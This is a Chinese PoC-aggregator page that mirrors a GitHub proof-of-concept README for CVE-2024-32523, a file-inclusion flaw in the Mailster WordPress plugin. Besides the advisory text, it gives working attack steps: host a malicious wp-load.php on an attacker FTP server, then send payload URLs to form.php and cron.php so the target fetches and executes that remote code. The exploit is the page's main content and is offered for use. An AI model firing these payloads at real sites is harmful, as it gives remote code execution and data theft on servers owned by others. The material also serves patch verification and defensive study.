POC详情: 71b0677d06ea3615133044872b5666821ccb904e

来源
关联漏洞
标题: WordPress plugin Mailster 安全漏洞 (CVE-2024-32523)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Mailster 4.0.6 版本及之前版本存在安全漏洞,该漏洞源于存在路径遍历漏洞。
描述
CVE-2024-32523 Mailster <= 4.0.6 - Unauthenticated Local File Inclusion
介绍
# CVE-2024-32523-Poc
CVE-2024-32523: Mailster <= 4.0.6 - Unauthenticated Local File Inclusion

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mailster-2/mailster-406-unauthenticated-local-file-inclusion

Description

The Mailster - Email Newsletter Plugin for WordPress plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.0.6. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.

File Vulnerable: form.php and cron.php
![image](https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/c0f8e0a5-da49-414d-ab05-7d653fa4741c)
![image](https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/79842e31-6b84-4778-a4a5-0e762904c37a)

function is_dir and file_exists support ftp://

https://www.php.net/manual/en/function.is-dir.php#123573

http://man.hubwiz.com/docset/PHP.docset/Contents/Resources/Documents/php.net/manual/en/function.file-exists.html

Steps to Reproduce:

Require server victim php.ini config FTP and allow_url_include	On 

![image](https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/3cb438da-db90-4d65-bd28-7c1e33b9cb9d)

![image](https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/7d897d59-e7fb-47a1-a949-2119a48632b4)

1. Attacker create file wp-load.php on ftp server attacker
2. Send payload:

<Host>/wp-content/plugins/mailster/form.php?path=ftp://username:password@ftp.example.com/

<Host>/wp-content/plugins/mailster/cron.php?path=ftp://username:password@ftp.example.com/

Poc RCE:

https://github.com/truonghuuphuc/CVE-2024-32523-Poc/assets/20487674/952aa57f-aa57-43b7-8704-0609cffec783

文件快照

[4.0K] /data/pocs/71b0677d06ea3615133044872b5666821ccb904e ├── [4.4M] mailster.zip └── [1.9K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。